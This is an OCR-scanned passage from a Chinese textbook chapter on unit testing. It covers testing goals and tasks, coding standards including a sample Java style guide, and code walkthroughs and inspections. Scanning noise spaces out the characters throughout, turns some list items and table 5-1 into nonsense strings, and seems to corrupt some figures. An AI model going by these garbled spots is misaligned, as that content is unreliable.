测试 的 大 部 分 工作 由 开发 人 员 完 成 ,而 开发 人 员 更 多 的 兴趣 在 编程 上 , 即 把 代码 写 出 来 ,而 
不 愿 在 测试 上 花 比 较 多 的 时 间 ,对 测试 自己 的 代码 总 会 存在 心理 障碍 。 一 旦 编码 完成 ,开发 
人 员 总 是 迫切 希望 交 给 测试 人 员 ,让 测试 人 员 去 执行 测试 。 如 果 没 有 执行 好 单元 测试 ,软件 
在 集成 阶段 及 后 续 的 测试 阶段 会 发 现 更 多 的 、 各 种 各 样 的 错误 ,其 至 软件 根本 不 能 运行 。 大 
量 的 时 间 将 被 花费 在 跟踪 那些 包含 在 独立 单元 内 的 、 简 单 的 错误 上 面 ,所 以 表面 上 的 进度 取 
代 不 了 实际 进度 ,对 于 整个 项 目 或 系统 反而 会 增加 额外 的 工期 ,导致 软件 成 本 的 提高 。 软 件 
中 存在 的 错误 发 现 得 越 早 , 则 修改 和 维护 的 费用 就 越 低 ,而 且 难 度 越 小 ,所 以 单元 测试 是 早 
期 抓 住 这 些 错误 的 最 好 时 机 。 

另 一 方面 ,总 有 一 些 自 认 为 很 棒 的 程序 员 ,对 自己 的 程序 充满 了 信心 ,对 单元 测试 很 
漠然 ,认为 代码 没有 什么 小 问题 ,而 只 会 出 现 一 些 集成 上 的 大 问题 ,而 这 些 问题 要 依赖 测 
试 人 员 来 发 现 。 但 是 规模 越 大 的 系统 ,其 系统 集成 的 复杂 人 性 就 越 高 。 现 在 大 多 数 软件 系 
统 的 规模 都 很 大 , 想 完成 各 个 单元 之 间 的 接口 进行 全 面 的 测试 ,几乎 不 可 能 。 其 结果 是 
测试 将 无 法 达到 它 所 应 该 有 的 全 面 性 , 较 多 的 缺陷 将 被 遗漏 。 即 使 在 后 期 测试 中 再 被 发 
现 ,也 会 造成 严重 的 影响 ,代码 的 修改 量 会 很 大 。 所 以 我 们 需要 完整 和 规范 的 单元 测试 
流程 。 

目前 国内 软件 企业 对 于 软件 测试 的 重视 程度 有 了 很 大 的 提高 ,基于 条 件 限 制 ,许多 软件 
企业 还 无 法 开展 全 面 测试 。 单 元 测试 无 须 太 多 额外 的 人 员 和 设备 ,已 经 被 大 多 数 软件 企业 
认 知 并 实施 。 


5.2 单元 测试 的 目标 和 任务 


在 讨论 单元 测试 具体 的 技术 和 方法 时 ,我 们 首先 要 清楚 单元 测试 要 达到 的 目标 ,根据 这 
个 目标 ,然后 确定 要 做 什么 , 即 单元 测试 的 具体 任务 是 什么 。 


5.2.1 目标 


确保 各 单元 模块 被 正确 地 编码 是 单元 测试 的 主要 目标 ,但 是 单元 测试 的 目标 不 仅 测 试 
代码 的 功能 性 ,还 需 确保 代码 在 结构 上 可 靠 且 健全 ,能 够 在 各 种 条 件 下 给 予 正 确 的 响应 。 如 
果 这 些 系 统 中 的 代码 未 被 适当 测试 , 则 其 弱点 可 被 用 于 侵入 代码 ,并 导致 安全 性 风险 (例如 
内 存 泄 漏 或 被 窃 指 针 ) 以 及 性 能 问题 。 执 行 完 全 的 单元 测试 ,可 以 减少 应 用 级 别 所 需 的 工作 
量 , 并 且 彻底 减少 发 生 误差 的 可 能 性 。 但 是 如 果 手 动 执行 ,单元 测试 可 能 需要 大 量 的 工作 ， 
执行 高 效率 单元 测试 的 关键 是 自动 化 。 

概括 起 来 ,单元 测试 是 对 单元 的 代码 规范 性 、 正 确 性 、 安 全 性 、 性 能 等 进行 验证 ,通过 单 
元 测试 ,需要 验证 下 列 这 些 条 款 : 

© 数据 或 信息 能 否 正确 地 流入 和 流出 单元 。 

在 单元 工作 过 程 中 ,其 内 部 数据 能 否 保持 其 完整 性 ,包括 内 部 数据 的 形式 、 内 容 及 相 
互 关系 不 发 生 错 误 , 也 包括 全 局 变量 在 单元 中 的 处 理 和 影响 。 

在 数据 处 理 的 边界 处 能 否 正确 工作 。 

单元 的 运行 能 否 做 到 满足 特定 的 逻辑 覆盖 。 

单元 中 发 生 了 错误 ,其 中 的 出 错 处 理 措施 是 否 有 效 。 

指针 是 否 被 错误 引用 、 内 存 是 否 及 时 释放 。 

。 有 没有 安全 隐患 ,是否 使 用 了 不 恰当 的 字符 串 处 理 函 数 等 。 

单元 测试 是 测试 程序 代码 ,为 了 保证 目标 的 实现 ,必须 制定 合理 的 计划 ,采用 适当 的 测 
试 方法 和 技术 ,进行 正确 的 评估 。 


5.2.2 任务 


为 了 实现 上 述 目标 ,单元 测试 的 主要 任务 包括 逻辑 功能、 数据 和 安全 性 等 各 方面 的 测 
试 ,具体 地 说 ,包括 单元 中 所 有 独立 执行 路 径 、 数 据 结构 ,接口 .边界 条 件 .容错 性 等 测试 。 

1. 单元 中 所 有 独立 执行 路 径 测 试 

在 单元 中 应 对 每 一 条 独立 执行 路 径 进 行 测试 ,单元 测试 的 基本 任务 是 保证 单元 中 每 条 
语句 至 少 能 够 被 执行 一 次 。 此 时 设计 测试 用 例 是 为 了 发 现 因 错误 计算 ,不 正确 的 比较 和 不 
适当 的 控制 流 造成 的 错误 。 此 时 基本 路 径 测试 和 循环 测试 是 最 常用 且 最 有 效 的 测试 技术 。 
计算 中 常见 的 错误 包括 : 

(1) 误解 或 用 错 了 算 符 优先 级 ; 

(2) 混合 类 型 运算 ; 

(3) 变量 初 值 错 ; 

(4) 精度 不 够 ; 

(5) 表达 式 符号 错 。 


比较 判断 与 控制 流 常常 紧密 相关 ,测试 用 例 还 应 致力 于 发 现下 列 错误 : 

(1) 不 同 数据 类 型 的 对 象 之 间 进 行 比较 ; 

(2) 错误 地 使 用 逻辑 运算 符 或 优先 级 ; 

(3) 因 计 算 机 表示 的 局 限 性 ,期 望 理论 上 相等 而 实际 上 不 相等 的 两 个 量 相等 ， 

(4) 比较 运算 或 变量 出 错 ; 

(5) 循环 终止 条 件 或 不 可 能 出 现 ; 

(6) TEAR AC RCE AB AEE HH ; 

(7) 错误 地 修改 了 循环 变量 。 

2. 单元 局 部 数据 结构 测试 

检查 局 部 数据 结构 是 为 了 保证 临时 存储 在 单元 内 的 数据 在 程序 执行 过 程 中 完整 、 正 确 。 
局 部 数据 结构 往往 是 错误 的 根源 ,应 仔细 设计 测试 用 例 ,力求 发 现下 面 几 类 错误 : 

(1) 不 合适 或 不 相 容 的 类 型 说 明 ， 

(2) 变量 无 初 值 ; 

(3) 变量 初始 化 或 默认 值 有 错 ; 

(4) 不 正确 的 变量 名 ( 拼 错 或 不 正确 地 截断 ) ; 

(5) 出 现 上 滋 .下 溢 和 地 址 异常 。 

3. 单元 接口 测试 

只 有 在 数据 能 正确 流入 流出 模块 的 前 提 下 ,其 他 测试 才 有 意义 。 对 单元 接口 的 检查 和 
确认 是 单元 测试 的 基础 。 测 试 接口 正确 与 否 应 该 考虑 下 列 因素 : 

(1) 输入 的 实际 参数 与 形式 参数 的 个 数 、 类 型 等 是 否 匹 配 一 致 ; 

(2) 调用 其 他 单元 时 所 给 实际 参数 与 被 调 单 元 的 形式 参数 个 数 、 属 性 和 量 纲 是 否 
匹配 ; 

(3) 调用 预定 义 函 数 时 所 用 参数 的 个 数 、 属 性 和 次 序 是 否 正 确 ; 

(4) 是 否 存在 与 当前 入 口 点 无 关 的 参数 引用 ， 

(5) 是 否 修改 了 只 读 型 参数 

(6) 对 全 程 变量 的 定义 各 单元 是 否 一 致 ; 

(7) 是 否 把 某 些 约束 作为 参数 传递 。 

如 果 单 元 内 包括 外 部 输入 输出 ,还 应 该 考虑 下 列 因素 ， 

(1) 文件 属性 是 否 正确 ; 

(2) OPEN/CLOSE 语句 是 否 正 确 ; 

G) 格式 说 明 与 输入 输出 语句 是 否 匹 配 ; 

(4) 缓冲 区 大 小 与 记录 长 度 是 否 匹配 ; 

(5) 文件 使 用 前 是 否 已 经 打开 ; 

(6) 是 否 处 理 了 文件 尾 ; 

(7) 是 否 处 理 了 输入 输出 错误 ; 

(8) 输出 信息 中 是 否 有 文字 性 错误 。 

4. 单元 边界 条 件 测 试 

边界 条 件 测试 是 单元 测试 中 最 重要 的 一 项 任务 。 众 所 周知 ,软件 经 常 在 边界 上 失效 , 采 


用 边界 值 分 析 技 术 , 针 对 边界 值 及 其 左右 设计 测试 用 例 , 很 有 可 能 发 现 新 的 错误 。 而 在 单 
元 测试 中 忽略 边界 条 件 的 测试 ,在 以 后 的 测试 中 很 难 被 发 现 ,即使 被 发 现 后 对 其 跟踪 , 寻 其 
根源 也 是 一 件 不 容易 的 事 。 

5. 单元 的 各 条 错误 处 理 通路 测试 

一 个 好 的 设计 应 能 预见 各 种 出 错 条 件 , 并 预 设 各 种 出 错 处 理 通 路 ,出 错 处 理 通路 同样 需 
要 认真 测试 ,测试 应 着 重 检查 下 列 问题 : 

(1) 输出 的 出 错 信息 难以 理解 ; 

(2) 记录 的 错误 与 实际 遇 到 的 错误 不 相符 ; 

G) 在 程序 自 定义 的 出 错 处 理 段 运行 之 前 ,系统 已 介入 ; 

(4) 异常 处 理 不 当 ; 

(5) 错误 陈述 中 未 能 提供 足够 的 定位 出 错 信 息 。 

6. 内 存 分 析 

内 存 泄漏 会 导致 系统 运行 的 崩溃 ,尤其 对 于 工 入 式 系统 这 种 资源 比较 匮乏 .应 用 非常 广 
泛 ,而且 往 往 又 处 于 重要 部 位 的 ,将 可 能 导致 无 法 预料 的 重大 损失 。 通 过 测量 内 存 使 用 情 
况 , 可 以 了 解 程序 内 存 分 配 的 真实 情况 ,发现 对 内 存 的 不 正常 使 用 ,在 问题 出 现 前 发 现 征兆 ， 
在 系统 前 溃 前 发 现 内 存 泄漏 错误 ; 发 现 内 存 分 配 错误 ,并 精确 显示 发 生 错误 时 的 上 下 文 情 
况 , 指 出 发 生 错 误 的 原由 。 


5.3 ”静态 测试 


静态 测试 技术 是 单元 测试 中 最 重要 的 手段 之 一 ,适用 于 新 开发 的 和 重用 的 代码 。 通 常 
在 代码 完成 并 无 错误 地 通过 编译 或 汇编 后 进行 ,采用 工具 扫描 分 析 、 代 码 评审 等 方法 。 测 试 
人 员 主 要 由 软件 开发 人 员 及 其 开发 小 组 成 员 组 成 。 


5.3.1 编码 的 标准 和 规范 


代码 即使 可 以 正常 运行 ,但 是 不 符合 某 种 标准 和 规范 ,将 会 给 程序 维护 带 来 隐患 PRAE 
是 建立 起 来 和 必须 遵守 的 规则 一 一 做 什么 和 不 做 什么 ,而 规范 是 建议 如 何 去 做 ,推荐 更 好 的 
工作 方式 ,例如 自 定义 变量 和 函数 的 命名 。 标 准 没有 例外 情况 ,是 结构 严谨 的 ,规范 就 相对 
来 说 松 一 点 。 在 一 些 正规 的 项 目 中 ,经 常 有 一 些 在 测试 中 表现 稳定 的 软件 ,因为 不 符合 规范 
而 被 认为 有 问题 ,为 什么 呢 ? 至 少 有 三 个 重要 原因 可 以 说 明 要 坚持 标准 和 规范 : 
。 可 靠 性 。 事 实证 明 按照 某 种 标准 或 规范 编写 的 代码 比 不 这 样 做 的 代码 更 加 可 靠 , 软 
件 缺 陷 更 少 。 
。 可 读 性 和 维护 性 。 符 合 设备 标准 和 规范 的 代码 易于 阅读 、 理 解 和 维护 。 
。 移植 性 。 代 码 经 常 需 要 在 不 同 的 硬件 上 运行 ,或 者 使 用 不 同 的 编译 器 编译 ,如 果 代 
码 符合 标准 ,迁移 到 另 一 个 平台 就 会 相对 容易 ,甚至 完全 没有 障碍 。 
代码 中 最 常用 的 是 表达 式 ,而 表达 式 通常 是 由 变量 、 函 数 、 常 数 和 运算 符 组 成 ,通过 运算 
符 将 变量 .函数 .常数 组 合 产生 一 个 结果 。 在 变量 和 函数 中 ,变量 通常 分 为 系统 变量 和 自 定 
义 变量 , 自 定 义 变量 又 分 为 全 局 变量 和 局 部 变量 ; 函数 也 分 为 系统 函数 和 自 定义 函数 两 种 。 


因此 在 检查 代码 时 首先 要 检查 变量 定义 得 对 不 对 ,有 没有 对 变量 赋予 初始 值 , 变 量 的 命名 是 
否 正确 (新 的 变量 名 必须 是 一 个 除了 系统 变量 名 和 已 存在 的 自 定义 变量 名 以 外 的 新 的 名 称 ) 
以 及 命名 是 否 符合 规范 。 除 了 变量 和 函数 外 ,代码 中 还 有 谓语 动词 语句 ,例如 C 语言 中 的 
goto,do-while 和 if-else 语句 ,就 有 它 的 编程 标准 ,而 目前 流行 编程 语言 中 ,例如 C++ Java, 
XML 都 设立 了 使 用 它们 的 标准 。 例 如 著名 的 MISRA C Coding Standard, 这 一 标准 中 包括 
了 127 条 C 语言 编码 标准 。 通 常 认 为 ,如 果 能 够 完全 遵守 这 些 标准 , 则 所 写 的 C 代码 是 易 
读 、 可 靠 、. 可 移植 和 易于 维护 的 ,如 : 

。 不 得 使 用 类 型 char, 必 须 显示 声明 为 unsigned char 或 者 signed char。 

。 所 有 数字 常数 应 当 加 上 合适 的 后 缀 表示 类 型 ,例如 51L,42U,34. 12F 等 。 

。 不 得 定义 与 外 部 作用 域 中 某 个 标识 符 同名 的 对 象 ,以 避免 遮盖 外 部 作用 域 中 的 标 

识 符 。 

。 具有 文件 作用 域 的 对 象 尽量 声明 为 static 的 。 

。 同一 个 编译 单元 中 ,同一 个 标识 符 不 应 该 同时 具有 内 部 链接 和 外 部 链接 的 声明 。 

每 个 开发 项 目 由 于 自身 特点 都 必须 符合 一 组 标准 , 除 必须 符合 计算 机 语言 标准 外 还 需 
要 符合 相应 的 行业 标准 ,例如 金融 系统 、 航 天 系统 的 软件 都 有 各 自 严 格 的 标准 。 如 果 想 获得 
计算 机 软件 和 信息 技术 国家 的 相关 国际 标准 ,可 以 访 间 以 下 站 点 : 

。 美国 国家 标准 会 (ANSD : WWW. ANSI. ORG 

。 国际 工程 协议 CEC): WWW. IEC. ORG 

。 国际 标准 化 组 织 (ISO): WWW. ISO. CH 

。 美国 计算 机 械 联 合 会 (ACM) : WWW. ACM. ORG 

。 国际 电子 电气 工程 学 会 (IEEE): WWW. IEEE. ORG 

代码 必须 清晰 易 懂 , 使 别 的 程序 员 能 够 容易 理解 代码 所 进行 的 实际 工作 。 在 软件 工程 
领域 , 源 程序 的 风格 统一 标志 着 可 维护 性 \、 可 读 性 ,是 软件 项 目的 一 个 重要 组 成 部 分 。 如 果 
没有 成 文 的 编码 风格 文档 ,以 至 于 很 多 时 候 , 程 序 员 没 有 一 个 共同 的 标准 可 以 遵守 ,编码 风 
格 各 异 ,程序 可 维护 性 、 可 读 性 都 很 差 。 通 过 建立 代码 编写 规范 ,形成 开发 小 组 编码 约定 , 提 
高 程序 的 可 靠 性 、 可 读 性 、 可 修改 性 ,可 维护 性 、 可 继承 性 和 一 致 性 ,可 以 保证 程序 代码 的 质 
量 , 继 承 软件 开发 成 果 , 充 分 利用 资源 ,使 开发 人 员 之 间 的 工作 成 果 可 以 共享 。 

以 下 是 一 个 实际 项 目 小 组 曾 参考 使 用 过 的 Java 代码 的 书写 规范 。 由 于 篇 幅 较 长 , 略 去 
其 中 部 分 内 容 ,以 供 参考 。 


Java 代码 书写 规范 示例 
一 、 目 的 ( 略 ) 
二 、 整体 编码 风格 
1. 缩 进 


缩 进 建议 以 4 个 空格 为 单位 。 建 议 在 Tools/Editor Options 中 设置 Editor 页 面 的 
Block ident 为 4,Tab Size 为 8。 预 处 理 语句 、 全 局 数据 、 标 题 \ 附 加 说 明 、 函 数 说 明 、 标 号 
等 均 顶 格 书写 。 语 旬 块 的 “{”“}” 配 对 对 齐 , 并 与 其 前 一 行 对齐 ,语句 块 类 的 语句 缩 进 建 
议 每 个 “{”“}” 单 独占 一 行 ,便于 匹 对 。JBuilder 默认 方式 是 开始 的 “{” 不 是 单独 一 行 ， 


建议 更 改 成 上 述 格式 (在 Project/Default Project Properties 中 设置 Code Style 中 选择 
Braces 为 Next line) 。 

2. 空格 

原则 上 变量 、 类 、 常 量 数据 和 函数 在 其 类 型 .修饰 名 称 之 间 适 当 加 空格 并 根据 情况 对 
齐 。 关 键 字 原 则 上 空 一 格 ,如 这 ( ... ) 等 。 运 算 符 的 空格 规定 如 下 :“::”“ 一 二 ”“[”、 
”十 十 ”一 一 ”一 ”1>、“ 十 ”、“ 一 ?”《( 指 正 负 号 )“ 妨 ”( 引 用 ) 等 几 个 运算 符 两 边 不 
加 空格 (其 中 单 目 运算 符 系 指 与 操作 数 相 连 的 一 边 ), 其 他 运算 符 ( 包 括 大 多 数 二 目 运 算 
符 和 三 目 运 算 符 “?:” 两 边 均 加 一 空格 ,在 作 函 数 定义 时 还 可 根据 情况 多 空 或 不 空格 来 对 
齐 , 但 在 函数 实现 时 可 以 不 用 。“,” 运 算 符 只 在 其 后 空 一 格 , 需 对 齐 时 也 可 不 空 或 多 空 
格 。 不 论 是 否 有 括号 ,对 语句 行 后 加 的 注释 应 用 适当 空格 与 语句 隔 开 并 尽 可 能 对 齐 。 个 
人 认为 此 项 可 以 依照 个 人 习惯 决定 遵循 与 否 。 

3. 对齐 

原则 上 关系 密切 的 行 应 对 齐 , 对 齐 包 括 类 型 修饰. 名称、 参数 等 各 部 分 对 齐 。 另 每 
一 行 的 长 度 不 应 超过 屏幕 太 多 ,必要 时 适当 换行 ,换行 时 尽 可 能 在 “,” 处 或 运算 符 处 , 换 
行 后 最 好 以 运算 符 打头 ,并 且 以 下 各 行 均 以 该 语句 首 行 缩 进 ,但 该 语句 仍 以 首 行 的 缩 进 
为 准 , 即 如 其 下 一 行为 “{” 应 与 首 行 对 齐 。 

变量 定义 最 好 通过 添加 空格 形成 对 齐 , 同 一 类 型 的 变量 最 好 放 在 一 起 。 如 下 例 
所 示 : 


int Value; 

int Result; 

int Length; 

Object currentEntry; 
个 人 认为 此 项 可 以 依照 个 人 习惯 决定 遵循 与 否 。 


4, 空 行 

不 得 存在 无 规则 的 空 行 ,比如 说 连续 10 个 空 行 。 程 序 文件 结构 各 部 分 之 间 空 两 行 ， 
车 不 必要 也 可 只 空 一 行 ,各 函数 实现 之 间 一 般 空 两 行 ,由 于 每 个 函数 还 要 有 函数 说 明 注 
释 , 故 通常 只 需 空 一 行 或 不 空 ,但 对 于 没有 函数 说 明 的 情况 至 少 应 再 空 一 行 。 对 自己 写 
的 函数 ,建议 也 加 上 ”“// 一 一 ”做 分 隔 。 函 数 内 部 数据 与 代码 之 间 应 空 至 少 一 行 ,代码 中 
适当 处 应 以 空 行 空 开 ,建议 在 代码 中 出 现 变量 声明 时 ,在 其 前 空 一 行 。 类 中 4 个 “p” 之 间 
至 少 空 一 行 ,在 其 中 的 数据 与 函数 之 间 也 应 空 行 。 

5. 注释 

注释 是 软件 可 读 性 的 具体 体现 。 程 序 注释 量 一 般 占 程序 编码 量 的 200% ,软件 工程 
要 求 不 少 于 20%。 程 序 注释 不 能 用 抽象 的 语言 ,类 似 于 “处 理 ”“ 循 环 ” 这 样 的 计算 机 抽 
象 语言 ,要 精确 表达 出 程序 的 处 理 说 明 , 例 如 “计算 净 需 求 "“ 计 算 第 一 道 工序 的 加 工 工 
时 ?等 。 避 免 每 行程 序 都 使 用 注释 ,可 以 在 一 段 程序 的 前 面 加 一 段 注释 ,具有 明确 的 处 理 
ZH. 

注释 必 不 可 少 , 但 也 不 应 过 多 ,不 要 被 动 地 为 写 注释 而 写 注 释 。 以 下 是 4 种 必要 的 
EF: 


A. 标题 .附加 说 明 。 

B. 函数 、 类 等 的 说 明 。 对 几乎 每 个 函数 都 应 有 适当 的 说 明 ,通常 加 在 函数 实现 之 
前 ,在 没有 函数 实现 部 分 的 情况 下 则 加 在 函数 原型 前 ,其 内 容 主要 是 函数 的 功能 、 目 的 、 
算法 等 说 明 , 参 数 说 明 、 返 回 值 说 明 等 ,必要 时 还 要 有 一 些 如 特别 的 软 硬 件 要 求 等 说 明 。 
公用 函数 、 公 用 类 的 声明 必须 由 注解 说 明 其 使 用 方法 和 设计 思路 ,当然 选择 恰当 的 命名 
格式 能 够 帮助 你 把 事情 解释 得 更 清楚 。 

C. 在 代码 不 明晰 或 不 可 移植 处 必须 有 一 定 的 说 明 。 

D. 少量 的 其 他 注释 ,如 自 定 义 变量 的 注释 代码 书写 时 间 等 。 

注释 有 块 注释 和 行 注释 两 种 ,分 别 是 指 :“/ x */” 和 “//” 建 议 对 A 用 块 注释 ,D 用 
行 注释 ,B、C 则 视 情 况 而 定 , 但 应 统一 ,至 少 在 一 个 单元 中 B 类 注释 形式 应 统一 。 具 体 
对 不 同文 件 、 结 构 的 注释 会 在 后 面 详细 说 明 。 
6. 代码 长 度 
对 于 每 一 个 函数 建议 尽 可 能 控制 其 代码 长 度 为 53 行 左右 ,超过 53 行 的 代码 要 重新 
考虑 将 其 拆 分 为 两 个 或 两 个 以 上 的 函数 。 函 数 拆 分 规则 应 该 以 不 破坏 原 有 算法 为 基础 ， 
同时 拆 分 出 来 的 部 分 应 该 是 可 以 重复 利用 的 。 对 于 在 多 个 模块 或 者 窗 体 中 都 要 用 到 的 
重复 性 代码 ,完全 可 以 将 其 独立 成 一 个 具备 公用 性 质 的 函数 ,放置 于 一 个 公用 模块 中 。 

7. 页 宽 

页 宽 应 该 设置 为 80 字符 。 源 代码 一 般 不 会 因 超过 这 个 宽度 而 导致 无 法 完整 显示 ， 
但 这 一 设置 也 可 以 灵活 调整 。 在 任何 情况 下 , 超 长 的 语句 应 该 在 一 个 逗号 或 者 一 个 操作 
符 后 折 行 。 一 条 语句 折 行 后 ,应 该 比 原来 的 语句 再 缩 进 2 个 字符 。 

8. 行 数 

一 般 的 集成 编程 环境 下 ,每 屏 大 概 只 能 显示 不 超过 50 行 的 程序 ,所 以 这 个 函数 大 概 
要 分 5~6 屏 显 示 , 在 某 些 环境 下 要 8 屏 左右 才 能 显示 完 。 这 样 一 来 ,无 论 是 读 程序 还 是 
修改 程序 ,都 会 有 困难 。 因 此 建议 把 完成 比较 独立 功能 的 程序 块 抽出 ,单独 成 为 一 个 函 
数 。 把 完成 相同 或 相近 功能 的 程序 块 抽 出 ,独立 为 一 个 子 函 数 。 可 以 发 现 , 越 是 上 层 的 
函数 越 简 单 , 就 是 调用 几 个 子 函 数 , 越 是 底层 的 函数 完成 的 越 是 具体 的 工作 。 这 是 好 程 
序 的 一 个 标志 。 这 样 , 容 易 在 较 上 层 函 数 里 控制 整个 程序 的 逻辑 ,而 在 底层 的 函数 里 专 
注 于 某 方面 的 功能 的 实现 了 。 
三 、 代 码 文件 风格 ( 略 ) 
四 、 函 数 编写 风格 ( 略 ) 
五 、 符 号 风格 ( 略 ) 


5.3.2 代码 评审 


代码 审查 (Code Review) 也 是 一 种 有 效 的 测试 方法 。 据 有 关 数 据 统计 ,代码 中 60% VA 
上 的 缺陷 可 以 通过 代码 审查 (包括 互 查 、 走 查 、 会 议 评审 等 形式 ) 发 现 出 来 。 代 码 审 查 , 不 仅 
能 有 效 地 发 现 缺陷 ,而 且 为 缺陷 预防 获取 各 种 经 验 ,为 改善 代码 质量 打下 坚实 的 基础 。 即 使 
没有 时 间 完 成 所 有 代码 的 检查 ,也 应 该 尽 可 能 去 做 ,哪怕 是 对 其 中 一 部 分 代码 进行 审查 。 人 
们 也 为 代码 审查 进行 了 大 量 的 探索 ,获得 了 一 些 最 佳 实践 ,例如 : 


一 次 检查 大 约 200~400 行 代码 ,不 宜 超 过 60~90 分 钟 。 

。 合适 的 检查 速度 : 每 小 时 少 于 300~500 行 代码 。 

。 在 审查 前 ,代码 作者 应 该 对 代码 进行 注释 。 

建立 量化 的 目标 并 获得 相关 的 指标 数据 ,从 而 不 断 改 进 流程 。 
使 用 检查 表 (checklist) 肯 定 能 提高 评审 效果 。 

1. 代码 走 查 

代码 互 查 是 日 常 工作 中 使 用 最 多 的 ,但 是 最 自由 的 ,而 走 查 (Walk Through) 是 一 种 相 
对 比较 正式 的 代码 评审 过 程 。 在 此 过 程 中 ,设计 者 或 程序 员 引 导 小 组 部 分 成 员 通读 编码 ,其 
他 成 员 提出 问题 并 对 有 关 技 术 、 风 格 .可 能 的 错误 .是 否 有 违背 开发 标准 /规范 的 地 方 等 进行 
评论 。 走 查 过 程 中 ,由 测试 成 员 提出 一 批 测试 实例 ,在 会 议 上 对 每 个 测试 实例 用 头脑 来 执行 
程序 ,在 纸 上 或 黑板 上 演变 程序 的 状态 。 在 这 个 过 程 中 ,测试 实例 并 不 起 关键 作用 ,它们 仅 
作为 怀疑 程序 逻辑 与 计算 错误 的 参照 。 大 多 数 走 查 中 ,在 怀疑 程序 的 过 程 中 所 发 现 的 缺陷 
比 通过 测试 实例 本 身 发 现 的 缺陷 更 多 。 编 程 者 对 照 讲解 设计 框图 和 源码 图 ,特别 是 对 两 者 
相 异 之 处 加 以 解释 ,有 助 于 验证 设计 和 实现 之 间 的 一 致 性 。 

2. 正式 会 议 审查 

会 议 审查 (Inspection) 是 一 种 正式 的 检查 和 评估 方法 ,最 早 是 由 IBM 公司 提出 ,经 实践 
证 明 , 是 一 种 有 效 的 检查 方法 ,从 而 得 到 软件 工程 界 的 普遍 认同 。 它 是 用 逐步 检查 源 代码 中 
有 无 逻辑 或 语法 错误 的 办 法 来 检测 故障 。 可 以 认为 它 是 拿 代 码 与 标准 和 规范 对 照 的 补充 ， 
因为 它 不 但 需要 软件 开发 者 自 查 ,还 要 组 织 代码 检查 小 组 进行 代码 检查 。 代 码 检查 小 组 通 
常 由 独立 的 仲裁 人 ,程序 编写 小 组 ,其 他 组 程序 员 和 测试 小 组 成 员 组 成 。 代 码 检查 程序 如 
下 : 仲裁 人 提前 把 程序 目录 表 和 设计 说 明 分 配给 小 组 各 成 员 , 小 组 成 员 在 开会 前 先 熟悉 这 
些 材料 ,然后 开会 。 在 会 议 上 ,主要 的 工作 是 : 

。 由 程序 编写 小 组 成 员 逐 句 阐明 程序 的 逻辑 ,在 此 过 程 中 可 由 程序 员 或 测试 小 组 成 员 

提出 问题 ,追踪 缺陷 是 否 存在 。 

。 利用 公用 程序 设计 缺陷 表 来 分 析 讨论 。 仲 裁 人 负责 保证 讨论 沿 着 建设 性 方向 进行 ， 

而 其 他 人 则 集中 注意 力 发 现 缺陷 。 
。 在 会 议 之 后 把 发 现 的 缺陷 填 人 表 中 交 给 程序 开发 小 组 。 如 发 现 重大 缺陷 ,那么 在 改 
正 缺 陷 之 后 ,还 要 重新 开 审 议会 议 。 

无 论 是 走 查 还 是 正式 的 会 议 审查 ,都 需要 注意 限时 和 避免 现场 修改 。 限 时 是 为 了 避免 
跑题 ,不 要 针对 某 个 技术 问题 进行 无 休止 的 讨论 。 发 现 问题 时 不 要 现场 修改 ,适当 的 进行 记 
录 , 会 后 再 进行 修改 是 必要 的 ,和 否则 浪费 了 大 家 的 时 间 , 以 后 就 没有 人 愿意 参加 该 活动 了 。 
会 议 主持 人 要 牢记 会 议 的 宗旨 和 目标 。 检 查 的 要 点 是 代码 编写 是 否 符合 标准 和 规范 ,是 否 
存在 逻辑 错误 。 

在 审查 会 前 项 目 经 理 要 做 这 个 检查 表 , 以 表 的 内 容 为 检查 依据 ,检查 表 的 内 容 是 检查 的 
要 点 。 在 审核 会 上 项 目 组 的 每 一 个 人 员 都 能 看 到 自己 和 其 他 人 员 的 编码 问题 ,从 而 起 到 预 
防 的 作用 。 这 些 问 题 都 要 被 解决 ,并 且 解 决 的 结果 要 在 审议 会 上 被 确认 。 审 查 结束 后 要 完 
成 《评审 报告 )。 《评审 报告 ) 中 必须 写 明 错误 的 类 型 .影响 域 、. 位 置 和 原因 等 , 需 交 给 程序 编 
写 者 并 同时 存档 。 审 查 小 组 根据 代码 审查 的 错误 记录 来 评估 该 程序 ,决定 是 否 需要 重新 进 


行 审议 。 评 审 通过 的 准则 是 : 
。 充分 审查 了 所 规定 的 代码 ,并 且 全 部 编码 准则 被 遵守 。 
。 审查 中 发 现 的 错误 已 全 部 修改 。 
3. 走 查 与 会 议 审查 的 对 比 ( 见 表 5-1) 


表 5-1 走 查 与 审查 对 比 


项 目 走 查 审 查 
eee, TW a AF ae RARE PELE PET OTS 

ia ree 清单 .代码 编码 标准 和 代码 缺陷 检查 表 
形式 非 正式 会 议 正式 会 议 
参加 人 员 开发 人 员 为 主 项 目 组 成 员 包括 测试 人 员 
主要 技术 方法 |E KEREK 
注意 事项 。 ”| 限时 .不 要 现场 修改 代码 | 限时 .不 要 现场 修改 代码 
ERP 会 议 记录 静态 分 析 铺 误 报告 
目标 代码 标准 规范 Lane | 代码 标准 规范 ,无 逻辑 情 误 

4. RER 


检查 过 程 所 采用 的 主要 技术 是 设计 与 使 用 缺陷 检查 表 。 这 个 表 通 常 是 把 程序 设计 中 可 
能 发 生 的 各 种 缺陷 进行 分 类 ,以 每 一 类 列举 尽 可 能 多 的 典型 缺陷 ,然后 把 它们 制 成 表格 ,以 
供 在 会 议 中 使 用 ,并 且 在 每 次 审议 会 议 之 后 ,对 新 发 现 的 缺陷 也 要 进行 分 析 和 归 类 ,不 断 充 
实 缺 陷 检查 表 。 缺 陷 检查 表 会 因 项 目 不 同 而 不 同 ,在 实际 工作 中 不 断 积 累 完 善 , 使 用 缺陷 检 
查 表 的 目的 是 防止 人 为 的 疏漏 。 下 面 就 是 一 个 代码 检查 表 的 一 个 示例 ,这 个 示例 只 对 结构 
化 编程 测试 具有 普遍 和 通用 的 意义 。 


代码 评审 的 通用 检查 表 
1. 格式 
。 KAW IF 是 否 正 确 地 缩 进 ? 
。 注释 是 否 准确 并 有 意义 ? 
。 是 否 使 用 有 意义 的 标号 ? 
。 代码 是 否 基 本 上 与 开始 时 的 模块 模式 一 致 ? 
。 是 否 遵循 全 套 的 编程 标准 ? 
2. 程序 语言 的 使 用 
。 是 否 使 用 一 个 或 一 组 最 佳 动词 ? 
。 模块 中 是 否 使 用 完整 定义 的 语言 的 有 限 子 集 ? 
。 是 否 使 用 了 适当 的 转移 语句 ? 
3. 数据 引用 错误 
。 是 否 引 用 了 未 初始 化 的 变量 ? 
